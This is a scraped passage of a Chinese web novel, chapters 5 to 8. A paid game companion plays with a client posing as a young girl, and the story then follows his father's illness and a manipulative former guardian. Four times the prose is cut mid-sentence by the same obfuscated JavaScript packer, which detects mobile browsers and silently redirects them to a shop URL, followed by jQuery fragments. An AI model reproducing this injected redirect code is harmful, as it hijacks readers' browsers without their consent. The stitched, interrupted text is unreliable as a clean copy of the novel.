;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949081|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,他们也不担心会被反杀,特别嚣张地将他堵在了墙边。 “老板。”方知慕语气加重,“不用管我,直接退游戏。” 忽然,方知慕听见草莓酱叹了口气,方知慕还以为她真要为了上分妥协了,却听她道:“哥哥,殉情吗?” 方知慕一愣。 几乎是下一秒,他就听见“砰”的一声巨响,伴随着两个男人的尖叫:“我操!”“怎么回事!” 一阵耳鸣后,屏幕上跳出结算画面。 良久,方知慕才意识到是草莓酱拉了颗手榴弹,一口气炸死了四个人。 “垃圾。”邵艾看着屏幕,扯了下唇角。 开了麦又说:“哎呀,吓死人家了。手榴弹的声音怎么那么大呀!” 方知慕忍不住笑:“是你把他们吓死了吧。” 估计那两个人到死都没想到他们会被一个他们看不起的小女孩炸死。 邵艾端起茶几上的酒喝了口,面色冷淡——炸死算是便宜他们了。 “老板,你还有时间吗?” “怎么啦哥哥?” 方知慕的脸被手机屏幕的蓝光染上几分冰冷,“我记住了他们的ID,你去加他们好友,然后邀请他们一起打游戏。” 邵艾不明白他是要做什么,但还是照做。 见是有钱的小富婆主动抛出橄榄枝,那两人自然不会拒绝,很快就入了队。 最强杀人王还不停抱怨:“你干嘛啊小妹妹,忽然拉手雷,我们又没想杀你。” 邵艾:“刚玩,不小心的。” 他给方知慕发微信:【哥哥,干嘛要跟他们一起打游戏呀?我只想跟你玩儿。】 方知慕回复:【很快结束。】 两人不停骚扰草莓酱,问东问西,草莓酱都回答得心不在焉,方知慕发现草莓酱好像还挺认生的,对不认识的人就很冷漠,和平时不太一样。 新一局游戏开始,四人一起跳了个偏僻的小村庄,搜完物资后方知慕照旧把好东西都给了邵艾,却留了一把狙背在身上,邵艾眯起眼睛。 “前面好像有人。”方知慕忽然道。 杀人王急于在富婆面前表现,立刻道:“我过去,你帮我架着。” 他已经知道方知慕是草莓酱请的陪玩了,吩咐起来毫不客气。 “好。”方知慕没什么意见。 杀人王很快摸过去,几枪就解决了一个,就在他换弹时,忽然眼前爆开一阵血花,系统提示:【极光使用kar98K爆头击倒了最强杀人王。】 “我操。”杀人王大叫道:“傻逼,你干什么?!” 方知慕慢悠悠换弹,“不好意思啊,狙错人了。” 杀人王暴怒:“你会不会玩游戏?不会玩儿就他妈的别玩,同一个队的都能狙错?” 草莓酱适时道:“好啦,只是一个小失误而已,干嘛这么生气。aer,你去扶你朋友一下嘛。” aer是杀人王的双排队友,不用草莓酱说,他已经过去救人了,很是无语:“妹妹你请的陪玩什么垃圾水平啊,不如退了他的单,我们带你玩儿得了。” 话音未落,刚要把人救起来的aer眼前也爆开一串血花,系统提示:【极光使用kar98K爆头击倒了aer。】 邵艾笑了下:“是哦,他水平确实不太行呢。” 5. chapter5 “你他妈故意的吧?!”are大怒:“第一次就算了,第二次还能……” 他话没说完,系统再次跳出提示:【极光使用kar98k淘汰了lkdg】 are一转头,才发现之前被杀人王击倒那人的队友已经不知道什么时候摸到了他们背后。 要不是极光这一枪,他们已经被补了。 辱骂的话卡在嗓子眼里说不出来,are差点呕死。 因为极光还真可能是一时失误,毕竟他们离得太近了。 杀人王悻悻道:“你这狙的准头还要再练练,耍什么帅,还不赶紧来救我们。” “草莓妹妹,要不是你这陪玩太菜,我们已经把他们灭队了!”are也强行挽尊,“妹妹你来扶我,这把我保证带你吃鸡。” 方知慕没搭理他们,而是问方知慕:“哥哥,我们过去吗?” “当然。”方知慕道:“毕竟是队友,必须得救。” 他开着摩托载着草莓酱到了两人倒地的地方,杀人王道:“我看你身上好几个急救包吧,只知道躲在远处狙人不敢正面刚枪,留着药也没用,你扔地上给我。” 方知慕笑了下:“你们这么厉害,不能无伤吃鸡吗?” “……”杀人王一噎,道:“谁他妈能无伤吃鸡,你故意找茬是吧?怕丢了富婆老板?” “行了别吵了。”are道:“你赶紧把我扶起来,马上毒圈缩过来了。” “好啊。”方知慕蹲下救援,are刚站起来扎针,就听“砰砰”两声,系统播报:【极光使用UMP45击倒了are】。 “我操你妈!”are 暴跳如雷:“你这个狗娘养的,你就是故意的!” 他满嘴脏话,方知慕也没生气,挺抱歉地说:“不好意思啊,走火。” “好好的你走什么火!”are咬牙:“草莓妹妹你来扶我,这小子八成就是嫉妒我们跟你打游戏。” “好哦。”草莓酱道:“你别生气嘛,哥哥肯定不是故意的,我也经常走火呀。” “你们能一样吗。”杀人王在旁边说:“你是老板,他是陪玩,搞出这种事情就说明他一点都不专业。” “就是,草莓妹妹你退了他的单子……” “砰砰砰”,三声枪响。 【草莓草莓酱使用AKM击倒了are】。 “我操了!”are三倒,血条掉得极快,声音简直是撕心裂肺:“你他妈又干嘛?!” 草莓酱说:“哎呀,我也走火。” 要是到了现在还不明白自己是让人耍了,杀人王和are的脑子恐怕就连葡萄干大小都没有了。 这两人分明就是在一唱一和报上一把的仇! “玩儿脏的是吧?!”杀人王咬牙:“你们两个贱人!” 方知慕说:“草莓酱别听他们狗叫,过来我这里。” “哦。”草莓酱移动到方知慕旁边,“怎么啦哥哥?” 方知慕:“他们马上就要强退游戏了,拿出你的平底锅。” 邵艾挑了下眉。 看起来挺温和的性格,倒是知道怎么羞辱人。 草莓酱拿出自己那个花花绿绿的平底锅,照着are和杀人王一人一锅,两个扣头。 【草莓草莓酱使用平底锅淘汰了are。】 【草莓草莓酱使用平底锅淘汰了最强杀人王。】 温暖的队友变成了冰冷的物资,两人飞速舔盒,卡在毒圈缩过来之前,方知慕骑着摩托带着草莓酱潇洒远去,草莓酱又对两个盒子扔了颗手榴弹,砰一声巨响里伴随着are和杀人王的谩骂。 “哥哥。”草莓酱道:“你先把队内语音全部关掉吧,他们一直在骂人。” “没事。”方知慕并不在乎,“我已经习惯了。” 草莓酱重复了一遍:“哥哥,把队内语音全部关了。” “那样我也听不到你说话了。” “他们不骂了我就微信告诉你。” 方知慕觉得有点不对,这种事不是应该他来做吗? 但老板要求,他只能照做。 关掉队内语音,世界清净许多,殊不知are和杀人王的噩梦才刚刚开始—— “人机都要打空一个弹夹不如干脆改名叫最强人机王。” “三句话就带妈逢年过节给你妈磕头没?要不是激素控制你妈也不会留你这种弱智遗臭万年。” “打个游戏见人穿套贵点的衣服都破防,现实里看见我的阿斯顿马丁你要不要自杀?” “少妹妹妹妹的叫,我家就没你这种劣质基因。” “杀你都是脏了我的平底锅,你们俩都该跪下给我的锅道歉。” “生气吗?下次见你我还杀,傻逼。” “你们留下好好看着我哥哥怎么带我吃鸡,菜逼。” “……” 邵艾一通输出,给are和杀人王骂得眼睛都红了,眼看着方知慕还真一路收割人头到了决赛圈,更加破防,怒退游戏。 “哥哥,他们走了。”邵艾给方知慕发消息。 “嗯?”方知慕有点惊讶:“他们死了还能留这么久。” “可能是想看哥哥带我吃鸡的英勇风姿。”草莓酱声音甜得能滴水,“毕竟哥哥最厉害了。” 方知慕侧过头咳嗽一声,有点吃不消:“……只剩六个人了,我出去看看,你就待在这里,不要动。” “好哦。” 这局游戏他们运气好,圈缩到了邵艾躲的建筑物里,最后一个人在门口跟方知慕狭路相逢,方知慕才解决掉他两个队友,头甲全破,血也没来得及补满,虽然打掉了对方大半管血,但自己率先倒地了。 他缩回楼梯死角,草莓酱道:“哥哥我来救你!” “别。”方知慕说:“你现在来救我太危险了。你扔颗手雷下去——你准头挺好的,照着那扇门扔。” 草莓酱道:“可是那样哥哥也会被炸死。” “没事,你还活着就能吃鸡。”方知慕道:“快点,来不及了。” 穿着吉利服的人估计以为方知慕的队友不在这里,跳上楼梯想要补了方知慕,邵艾微微垂眸,思索该怎么自然地超常发挥。 方知慕只听见一阵混乱的枪响,他倒在地上都挨了一下,眼看着就剩丝血,忽然枪声止住,系统播报: 【草莓草莓酱使用AKM淘汰了iiii。】 在跳出击杀播报的下一秒,游戏结算, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949082|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕上跳出四个大字:大吉大利,今晚吃鸡。 一直悬在方知慕喉口的石头终于落下,他吐出口气,笑着说:“老板,好厉害。” 邵艾手指也有点抖。 既要保证方知慕不被乱枪带走又要计算自己的血量足够还要确保不一枪击中对方要害显得太厉害,挺费脑子的。 “……我们赢了吗?” “嗯,我们赢了。”方知慕说:“是你杀了最后一个人,这把我躺鸡,都不好意思收你钱了。” 邵艾冷漠地想就知道嘴甜哄小姑娘,要不是之前他一路厮杀,草莓酱哪能混进决赛圈。 “很晚了老板。”方知慕说:“你赶紧休息。” 想了想,他又叮嘱:“记得把那两个人好友删了。” “知道了哥哥。”草莓酱乖巧答应:“哥哥晚安哦。” 方知慕跟她说了晚安,退出游戏去洗澡。 从认识草莓酱开始,他就总有种熟悉感,今天终于想明白了这种感觉的来源。 在很久以前,他也带过这样的小孩打游戏,那个孩子脾气有点古怪,不喜欢的人就一句话都不会跟对方说。 和草莓酱倒是挺像的。 至于那个孩子…… 十年未见,她应该已经从年幼孩童长成了亭亭玉立的少女,某天他们在街角遇见,或许谁也认不出彼此。 毕竟不是每个人都是邵艾,十年过去,他还是第一眼就认了出来。 如今想来,其实邵艾也变了很多,不论是相貌还是气质,都和从前不太一样了,他觉得没有变化,是因为他独自一人留在那场瓢泼的雨里,逃不出来。 这些年他很少听说邵艾的消息,只偶尔在同学群里看见只言片语,说他考上了多好的学校,又说他未毕业就创立了自己的公司,还说他又在什么什么投资里大获成功…… 那些事情都离方知慕的生活太远了,他从没想过有朝一日自己会看不懂邵艾的世界,但十年来的零碎岁月,确实将他变作了一个肤浅、世俗,为了生活疲于奔命的麻木空壳。 方知慕抹了把脸上的水,他看着镜子里的自己,惊觉已然和十七岁的自己截然不同。 面目全非。 原来是这样一个面目全非。 方知慕洗完澡躺在床上,却辗转反侧难以入眠,最终还是打开床头的抽屉吃了两颗安眠药,才让自己沉入梦乡。 第二天晚上八点,方知慕刚进游戏就被系统通知糊了一脸。 他神色复杂,截图给草莓酱发了条微信。 邵艾点开图片,看见上面的文字:【因故意淘汰队友您已被禁止登录。请访问客服中心获得更多信息。】 邵艾:“……” 两个傻逼,骂不过就举报。 “我被封号了。”方知慕声音有点无奈:“稍等我……”刚说到这里,他忽然退了游戏,邵艾皱眉,发消息问他怎么了。 好一会儿,他才收到回复:【抱歉老板,忽然有点事要去处理,今天请一天假可以吗?我会退今天的钱给你。】 邵艾又发了好几条消息,极光都没有再回复。 “……去第一医院。”方知慕坐上出租车,嗓音有点颤抖:“麻烦快一点。” 6. chapter6 方知慕赶到医院的时候,方岩的情况已经稳定下来了。 曾经意气风发挥斥方遒的人如今苍老虚弱得不成样子,因为长期卧病在床,肌肉萎缩,肤色青白,身上插满了管子,全靠着高精尖的医疗器材吊着命。 方知慕没能进特护病房,只是隔着玻璃看了眼方岩。 方岩的§主治医生姓李,从方岩转院里来一院就是他在负责,对方知慕的情况也很了解,他拍拍方知慕的肩膀,示意方知慕到旁边说话。 “你爸生命指征平稳,暂时不会有危险。”李医生推开走廊上的窗户,让新鲜空气灌进来,暂时吹散了消毒水的气味,但很快那味道便如同附骨之疽,卷土重来。 “但是他的情况……确实越来越不好了。”说到这里,李医生叹口气,“本来到了晚期,我们都是建议把患者接回去的。” 方知慕垂下头,因为太着急,他出门的时候鞋都没来得及换,人字拖断了一边,看起来无比狼狈。 “但是应该还能治的吧?”沉默许久,方知慕抬起头:“您既然这么说了,就肯定还有办法。” 李医生道:“国外新出了一种靶向药——我需要先跟你说清楚,因为没有引进,这种药需要自费,价格昂贵。并且因为是新研发的药物,缺少临床数据,谁也说不准究竟有没有用,很可能到最后病情没有好转,大把的钱也打了水漂。” 他按住方知慕的肩膀,低声道:“小方,我知道你负担你爸爸的住院费就已经很困难了,我不建议你继续用药,那样会把你自己之后的人生也搭进去。” 他看了眼方知慕瘸着的腿,叹口气。 即便在医院工作了几十年,见惯了生离死别,面对这种情况,他仍旧无法做到无动于衷。 这些年来方知慕有多不容易,大概只有他最清楚。 李医生还记得方岩车祸被紧急送到第一医院的时候,方知慕非常年少,还是念高中的年纪。 那时候的方知慕,看起来就是个金尊玉贵娇养长大的少爷,面对自己浑身是血的父亲满脸茫然,只有眼泪从空洞的双眼坠落,那样子让人看着就觉得心酸。 十年过去,他没再见过方知慕哭,好像当年那个脆弱的小少爷从未存在过。 “他是我唯一的亲人了。”方知慕声音有些沙哑,“如果我爸都不在了,我……” 他没继续说下去,而是道:“李医生,我要用靶向药。” 李医生对他的选择并不意外,“你要想好,靶向药真的非常贵,而且马上就要到下个月了,你还要交住院费用。” “我知道。”方知慕说:“我会想办法的。” 李医生就没再劝。他知道劝了也没用。 “我稍后让人把药物说明给你,看了后没问题就把同意书签了。”李医生还有别的病患,并不能停留太久,“你这几个月一直没来看你爸,他醒了我通知你?” 方知慕摇摇头,“不用。” 他早就决定不会再跟方岩见面了。 李医生又叹了口气,对远处一脸焦灼的护士摆摆手,几人一起离开了。 走廊安静下来,惨白灯光让一切都显得冰冷,就连转角处摆放的散尾葵都蒙上一层阴翳。 这栋住院楼旁边就是急诊,能隐隐预约听见医院的通报,今夜已经逝去了三十二条生命。 差一点,方岩也是其中一个。 方知慕仰起头,后脑勺贴着冰凉的墙壁,企图用这种生冷让自己冷静一些。 在他还年少的时候,觉得这世界上没有任何用钱摆不平的事情,金钱在他眼里不过是无意义的数字。 如今才知道,这世界上确实少有用钱摆不平的事情,只是大多数人都没钱,于是步步坎坷,一生庸碌。 方知慕杵着拐杖,慢慢走到方岩的病房前,隔着门上的玻璃板看着里面的人,轻声道:“爸,我先走了。” 他下楼去缴费窗口,想把抢救费用缴了,工作人员却告知他:“这次抢救用到的药物、仪器费用,已经结清了,还有下月的住院费用,也预缴了。” 方知慕一愣。 “我没有付过钱。”方知慕道:“是不是系统出错了?” 工作人员道:“有没有可能是你的亲属或者朋友已经交过费但没有告诉你?我们系统不会有错的。” 方知慕跟她道谢,眉头紧皱。 方岩每个月的住院费用吓死人,他哪有这样的朋友?至于亲属……当年公司破产后,树倒猢狲散,他们恨不得立刻跟方家划清关系,早就没有任何来往了,怎么可能有人来给方岩付住院费? 难道是…… 刚想到这里,方知慕就听见一道熟悉的声音:“知慕,去看过方总了?” 方知慕咬紧了牙。 果然是他。 “我会把钱还给你。”方知慕厌恶道:“以后别再做这种事。” “你过得这么艰难,都不肯向我求助?”宋铭松无奈道:“你明知道我会帮你的。” “不必。”方知慕转头想走,却被两个保镖一左一右拦住。 方知慕怒道:“让开!” “少爷。”保镖低声道:“请别让我们为难。” 方知慕知道,今天宋铭松要是不达成自己的目的,是不会罢休了。 这个点医院里全是人,都好奇地看向这边,有好事者都掏出手机录视频准备发短视频网站了,方知慕不想在公共场所闹得太难看,转头看向宋铭松:“换个地方。” “一杯拿铁,多加牛奶。再加一杯柠檬水就好。”宋铭松点了单,将菜单递给服务生,又对方知慕道:“我记得你喜欢喝这个。” 方知慕面无表情。 宋铭松当然是对他很了解的。 在很久之前,方岩还不是病房里那个气若游丝的病人,而是淮城知名企业老总时,宋铭松是他的助理。 方岩一直很疼爱方知慕这个儿子,但工作实在太多,家庭事业很难两全,所以小时候方知慕见宋铭松的时间比见方岩还要多得多。 接送上下学、开家长会、照顾饮食起居……大多时候都是宋铭松在负责,方知慕爱吃什么不爱吃什么,他了若指掌。 “我已经不喜欢了。”方知慕淡声说。 “人的习惯很难改变。”宋铭松微笑:“又在说气话。” 方知慕:“只要足够穷,没什么改变不了的。” 宋铭松噎住了。 “宋总贵人事忙,找我到底什么事,直接说吧。”拿铁上来了,方知慕碰都没碰,只是不耐地道:“我还有事要做。” “你受伤了?”宋铭松看了眼他刚在旁边的拐杖,“我早就说骑电动车很危险,你要是想工作,我在公司里给你安排个职务只是一句话的事。” 方知慕冷着脸没说话。 “好,我不说这件事了。”宋铭松举起双手做了个投降的动作,“我记得你念高中的时候,邵艾是你同学?” 从宋铭松嘴里听见邵艾这个名字,方知慕顿生一种恍如隔世之感。 无事不登三宝殿,姓宋的果然有事相求。 “邵艾早些年都在别的城市,我们没打过交道,这两年他准备开拓淮城的市场,因为都是相关的行业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949083|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,难免要有接触。”宋铭松道:“下周蔓蔓过二十岁生日,邀请了邵艾,想着你们是同学,又年龄相仿,有共同语言,所以想让你也参加。” 方知慕笑了下,“宋总既然知道我们是高中同学,难道不知道我们关系很差?年轻的时候不懂事,对人颐指气使,当牛做马的使唤,大家都知道我们有仇,宋总让我去,究竟是想沟通同学感情,还是让我给邵总做出气筒?” “那都是十年前的事情了。”宋铭松不以为意:“小孩子之间的小打小闹而已,他怎么会一直记仇到现在?” 方知慕:“宋总应该知道我那时候挺混账的,真干了不少出格的事情。我可不敢见他。” 宋铭松有所迟疑。 念高中的时候,方知慕确实是学校里的小霸王,老师们都因为他是方总的儿子而对他睁只眼闭只眼,又有一群狐朋狗友捧着,在学校里可谓是呼风唤雨,无法无天。 邵艾那会儿就是个穷小子,食堂都吃不起的那种穷,方知慕没少作弄人家。 宋铭松思索了一会儿,道:“不管怎么样,你当天都要到场,我到时候看邵艾的态度再决定要不要介绍你。” 方知慕有些厌烦,刚要拒绝,宋铭松就道:“就算你不喜欢我,那蔓蔓呢?” 方知慕一顿。 “上次见蔓蔓还是十年前吧?”宋铭松太知道该怎么拿捏方知慕了,语气也软了下来,“她小时候总跟在你身后跑,哥哥哥哥的叫,被学校里的小朋友欺负了,也是你去帮她出的头是不是?” “她现在长大了很多,但一直记挂着你,想要见见你。” 方知慕抿了下唇。 宋蔓刚出生的时候他就抱过,因为家里就他一个孩子,他是真把宋蔓当妹妹看待的。 “知慕。”宋铭松道:“就当是去见蔓蔓一面,行吗?” 方知慕站起身,杵着拐杖往外走了几步,才说:“知道了,我会去。” 不管宋铭松打得什么如意算盘,妹妹过二十岁的生日,他这个当哥哥的确实应该去一趟。 走出咖啡厅,汹涌的热浪扑面而来,入了夜温度也没有降下来,反倒是白日里柏油马路被烈日炙烤出的热气被风一吹,更令人烦躁。 在这样的燥热里,方知慕却觉得无比寒冷。 每次见到宋铭松,他都会有这样的感觉,好像那天夜里的苦雨渗进了他骨头的每一丝缝隙,从此再炽烈的阳光也让他感觉不到暖意。 回到出租屋,方知慕吞了两颗安眠药,蜷缩在床上,不知道自己是什么时候睡着的,再醒来,窗外仍是黑夜。 方知慕第一反应是自己刚睡着了没一会儿,摸过手机一看,才发现是睡了一天一夜。 全身酸疼,头脑晕眩,像是有人用长针从天灵盖扎进大脑,将脑髓搅得一塌糊涂。胃里也一直翻涌,但因为本来就没吃东西,什么都吐不出来。 方知慕按住太阳穴,晃了晃脑袋。 喉头发苦,舌根又泛着酸。 屋子里一片漆黑,唯有月光从狭窄窗户钻进来,方知慕蜷缩成一团,额头上全是冷汗。 他又做梦了。 梦见母亲自杀那一天。 那天是晴天还是雨天,是冬天还是夏天,在方知慕的记忆里都模糊不清了。 只记得推开门的时候,母亲的尸体就吊在他房间门口,像是一株荏弱的、无根的花。 忽然叮咚一声,打破满室沉寂,方知慕从愣怔中回过神,像是溺水的人抓住最后一根救命稻草,抓起手机。 是草莓酱发来的消息:【哥哥,今晚甜蜜双排吗?】 7. chapter7 这条消息后面还跟了个小狗探头的表情包。 方知慕看了眼时间,八点过十分了。 【抱歉老板,我睡过头了,稍等我这就去借个号。】 他自己的账号还在封禁中,用不了。 草莓草莓酱:【我已经把账号都准备好了。】 紧接着就发来了账号和密码。 方知慕跟去卫生间用冷水洗了把脸,让自己清醒点。 不管怎么样,方岩还躺在医院里,这操蛋的日子总得过下去。 登录草莓酱给账号后,方知慕愣住了。 因为这个号非常非常的贵。 草莓酱自己的号是全图鉴,只要是游戏出了的衣服和枪支皮肤她全都有,发给方知慕的号竟然也是如此。 更重要的是…… 方知慕看着账号ID,陷入了长达三秒钟的沉默,而后假装无事发生般申请添加草莓酱为好友。 邵艾看见ID后也愣了下。 爱吃草莓酱? 这谁取的?? 方知慕清了下嗓子,道:“老板,你还喜欢给自己的账号取情侣名字呢?” 邵艾:“……” 简直是六月飞雪。 他这两天都挺忙,这么点小事自然是吩咐助理做的。当时助理问他对号有什么要求,想起每次双人四排时草莓酱都穿得花里胡哨极光却全是系统送的丑衣服,就随口说了句衣服多点。 又想起每次他换不同的小裙子穿极光好像都挺喜欢,就又补充了句“裙子多点”。助理当即露出恍然大悟的表情,似乎已经对此事胸有成竹,满怀激情地答应了下来,说一定会为老板物色一个靓号。 邵艾全然不知助理已然脑补了一出钻石单身汉深陷网恋不惜装妹接近心选姐的狗血大戏,并且在买好号后用了一点小巧思,将号的ID改成了“爱吃草莓酱”。 和草莓草莓酱一看就是情侣名。 “这个号是送你的。”邵艾说:“你之前那个号不要了也行,反正一件好看衣服都没有。” 方知慕失笑。 他要好看衣服干什么,能杀人不就好了。 “这也太贵重了。”方知慕说:“我暂时借用一下……” “说给你就给你了。”邵艾有点不耐烦。他们干这一行的不就是想骗小姑娘钱么,这个极光前摇还挺长。 方知慕沉默了一会儿,才道:“老板,你今天,心情不太好?” 说话声音虽然还是很嗲,语气却很冷漠。 “。”邵艾心中冷笑,这些死直男还真是爱甜妹撒娇。 “没有呀哥哥。”邵艾道:“不过你要是不肯收的话,我就真的要生气了哦。” “但是……” “你要是觉得名字别扭的话,可以自己改。”邵艾本来也没想跟人用情侣名,实在是太腻歪了。 “不是因为这个。”方知慕叹口气:“算了,我知道了。” 话是这么说,但他还是决定等老板的合约到期,就把号还回去。 今晚两人打游戏都有些心不在焉。 方知慕是身体疲惫,精神紧绷,虽然依旧稳定发挥,但到底和以前不同。 邵艾则总是想起前天晚上极光发来一条消息后就失联了一天一夜。 如果是邵艾自己,作为一个成熟的成年人,不去揭别人伤疤是一种心照不宣的礼节。但草莓酱只是个十六岁的孩子,暂时还拥有任性的特权。 所以千回百转下,邵艾还是问了出来:“哥哥,那天你说有事,是怎么了?” 方知慕顿了下,道:“……家里人出了点意外,我去看看。” “现在没事了吗?” “嗯。”方知慕说:“好多了。” 他们已经到了决赛圈,只剩下不到十个人,吃鸡的概率很大,草莓酱却忽然道:“哥哥,你今天是不是好累。” 方知慕愣住,“……抱歉,打得比较激进,好几次都忘了保护你。” “我不是那个意思。”草莓酱声音严肃起来,“你是不是生病了?感觉你一直很没有精神。” 方知慕摸了摸自己的额头,这才后知后觉好像确实有些发烧。 昨夜下了雨,他没关窗户,应该是睡着后着了凉。 “家里有温度计吗?”草莓酱问。 “好像有。”方知慕道:“我们这把打完我就去……” 话没说完,草莓酱直接退了游戏,方知慕还没反应过来,语音电话就已经打过来了。 方知慕无奈点了接听:“老板,我们马上就要吃鸡了……” “那个不重要。”草莓酱道:“家里有温度计或者耳温枪的话,量下温度——你声音都哑了。” 她不说,方知慕还一直没发觉,下意识摸了摸喉咙。 他在抽屉里翻到一支体温计,“找到了,还好没丢。” 应该还是上次他感冒,柳荫来看他的时候买的。 方知慕看着手里的体温计,“这东西夹在胳膊下面就行了吗?” 草莓酱:“要先确保水银线在三十五度以下。” 方知慕看了看,点头:“在三十五度以下。” “嗯,夹胳肢窝里。” 方知慕照做,立刻被体温计冰得唔了一声,他皱起眉,感觉胳肢窝跟被塞了一根冰针似的,甚至有点幻痛。 “然后呢?就这样等着就行了吗?” 好一会儿没有声音,方知慕又问一声:“老板?” 手机被拿得距离耳朵八百米远,邵艾不可置信地看着屏幕上那个极光头像。 好端端的他叫什么?! “老板?”极光的声音再度响起:“老板老板?能听到吗?是我网不好还是手机又坏了……” 他径直嘀嘀咕咕,邵艾都怀疑自己再沉默下去他就要去手机店维修了,道:“能听见。刚刚有点事。” “五分钟后才能看温度。” “哦……”方知慕道:“那这五分钟我什么都不能做吗?” “不能。” “对不起啊老板。”方知慕说:“今晚也没有陪你好好玩。” 邵艾蹙眉,“身体最重要。明明不舒服为什么还要答应我?你一直这样不关心自己的身体吗?” 方知慕没想到竟然被一个小自己好多岁的小姑娘训斥了,忍不住弯起唇角:“没那么严重,只是昨晚睡觉吹了点风而已。” 草莓酱没再说话,但方知慕隐约听见她冷笑了一声,也不知道是不是自己的错觉。 虽然不说话,草莓酱也没挂电话,方知慕昏昏欲睡时,听见她的声音:“时间到了,读温度。” 方知慕发现草莓酱有时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949084|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还蛮强势的,像是那种做了很久领导者的感觉。 但随即他又觉得应该是自己想太多,可能只是单纯家里太宠爱罢了。 方知慕取出已经变暖和的体温计,瞥了眼,道:“三十八,不算高。我就说没事了。” 草莓酱却说:“拍照给我看。” 方知慕有点头皮发麻:“这就不用吧……” 草莓酱柔声说:“哥哥连体温计都不会用,可能也会读错温度,给我看看嘛。” “……” 方知慕只好拍了张照片发过去。 “哥哥。”草莓酱笑着说:“你真的好笨。” “嗯……是吗……” “这上面明明是三十八点七。”草莓酱慢慢说:“哥哥怎么看成三十八的?” 方知慕本意是想让草莓酱觉得他没什么事,谁知道当场就被拆穿了。 “我不会看这个。”方知慕含糊道:“看错了也正常。” “今天不打了。”草莓酱也没揪着不放,“哥哥先去医院吧。” “我吃点药就好了,不用去医院。” 这么点小毛病,哪里用得着上医院。感冒这东西,不都是吃药七天好,不吃药一周好么。这些年里,方知慕感冒了就没怎么吃过药。 “家里有什么药?” 方知慕看了看,发现空无一药。 草莓酱直接挂了电话,方知慕呆呆看着,有点茫然。 小姑娘生气了?就因为他不肯上医院? 下一秒,手机叮咚一声,草莓酱发了个红包过来:【哥哥拿去买药。】 方知慕有点头痛。这小孩出手也太大方了。 极光:【不用了老板,谢谢你的好意。】 草莓酱:【你要是不收就把地址告诉我,我让跑腿送药给你。】 方知慕:“……” 小姑娘怪霸道的。 极光:【真的不用,老板,应该是我对你道歉才对,一直在出事故。】 草莓酱:【我们现在是雇佣关系,你算工伤,我当然应该承担你的医药费。】 方知慕:“。” 要是所有资本家都像是草莓酱这样良心,那真是全世界都充满爱了。 草莓酱发了条语音过来:“哥哥,你要是不收的话,我会很难过的。没多少钱,你就收下嘛,要是你不赶紧好起来,谁来带我吃鸡呀?求求你啦~” 尾音那一长串波浪号让方知慕鸡皮疙瘩都起来了。 看草莓酱这不罢休的姿态,方知慕只好点开红包,看见金额为两百时,他又懵了。 极光:【买药用不到两百的,老板。】 草莓酱:【那你就顺便再给自己买点好吃的吧。】 方知慕想要退回一部分,草莓酱就像是未卜先知似的,又弹来一条语音:“哥哥,即便你退回给我我也不会收的。二十四小时后还是会返回你的账户——只是一点小钱,哥哥不要在意。” 方知慕叹口气。 他按住对话框,轻声说:“我知道了,谢谢老板。” 这次草莓酱许久没有动静。 公寓里,邵艾坐在沙发上,将杯子里的威士忌一饮而尽,面色冷然。 这些搞陪玩的,还真是手段了得,发个语音都像是情人耳语,邵苡还不得被这种狐狸精玩弄于股掌之间。 8. chapter8 方方知慕随便吃了点东西,胃其实已经麻木了,填入食物后反而开始绞痛。 他很熟悉这种疼痛,并不在意,按着说明书,吃了饭一小时后才吃感冒药。 不用送外卖,也不用陪老板打游戏,方知慕坐在小小的单人沙发上,忽然不知道自己该干什么了。 好一会儿,他才想到马上要去参加宋蔓的生日宴会,总不能空着手去。但他对二十岁左右的小姑娘喜欢什么一无所知,身边也没有个能问的人,想来想去,决定咨询草莓酱。 极光:【老板,你现在有空吗?】 草莓酱:【哥哥吃药了吗?】 方知慕这次学聪明了,主动拍了照片发给草莓酱,证明自己有好好吃药。 草莓酱:【我现在有空,哥哥找我有事吗?】 极光:【我想问问,像你们这个年纪的小女孩,一般会喜欢什么东西?】 